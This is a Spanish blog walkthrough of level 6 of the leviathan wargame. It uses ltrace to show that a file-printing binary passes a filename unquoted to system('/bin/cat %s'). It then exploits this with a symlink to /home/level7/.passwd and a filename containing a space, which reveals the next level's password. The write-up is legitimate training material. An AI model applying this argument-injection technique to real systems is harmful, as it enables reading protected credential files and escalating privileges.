systemadmin.es > Seguridad > Wargame leviathan: nivel 6

Wargame leviathan: nivel 6

En este nivel veremos como engañar a un binario que genera una cadena que ejecuta de forma dinámica pero poco segura:

Nos encontramos en este nivel con el siguiente binario:

level6@leviathan:~$ /wargame/printfile 
*** File Printer ***
Usage: /wargame/printfile filename

Si le damos un fichero nos lo muestra por pantalla:

level6@leviathan:~$ echo hola > /tmp/fichero
level6@leviathan:~$ /wargame/printfile /tmp/fichero
hola

Pero si lo hacemos con un link veremos que no lo muestra:

level6@leviathan:~$ ln -s /home/level7/.passwd /tmp/lolnext
level6@leviathan:~$ /wargame/printfile /tmp/lolnext
You cant have that file...

Mediante un ltrace podemos mirar que hace:

level6@leviathan:~$ ltrace /wargame/printfile /tmp/lolnext
__libc_start_main(0x8048424, 2, 0xbffffac4, 0x8048570, 0x8048520 <unfinished ...>
access("/tmp/lolnext", 0)                                                                                                      = -1
puts("You cant have that file..."You cant have that file...
)                                                                                             = 27
+++ exited (status 1) +++
level6@leviathan:~$ ltrace /wargame/printfile /tmp/fichero
__libc_start_main(0x8048424, 2, 0xbffffac4, 0x8048570, 0x8048520 <unfinished ...>
access("/tmp/fichero", 0)                                                                                                      = 0
snprintf("/bin/cat /tmp/fichero", 511, "/bin/cat %s", "/tmp/fichero")                                                          = 21
system("/bin/cat /tmp/fichero"hola
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                                         = 0
+++ exited (status 0) +++

Mediante la llamada access comprueba que tengamos privilegios suficientes sobre el fichero destino:

access("/tmp/fichero", 0)  

En caso que los tengamos genera la cadena a ejecutar con snprintf:

snprintf("/bin/cat /tmp/fichero", 511, "/bin/cat %s", "/tmp/fichero")

Por lo tanto, como que el cat admite varios parámetros simplemente creamos un fichero con un espacio que tenga permisos pero que la primera parte del nombre de fichero (la parte de antes del espacio) sea un link al fichero de password del siguiente nivel:

level6@leviathan:~$ ln -s /home/level7/.passwd /tmp/aaa
level6@leviathan:~$ echo hola /tmp/aaa\ bbb

Al ejecutar el binario con el fichero con espacio el cat que se ejecuta es:

cat aaa bbb

Por lo que hace el cat de los ficheros aaa y bbb, pero el access comprueba los permisos del fichero llamado “aaa bbb“:

level6@leviathan:~$ /wargame/printfile /tmp/aaa\ bbb
X98ZdPfp
/bin/cat: bbb: Permission denied

Otros niveles de este wargame:

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>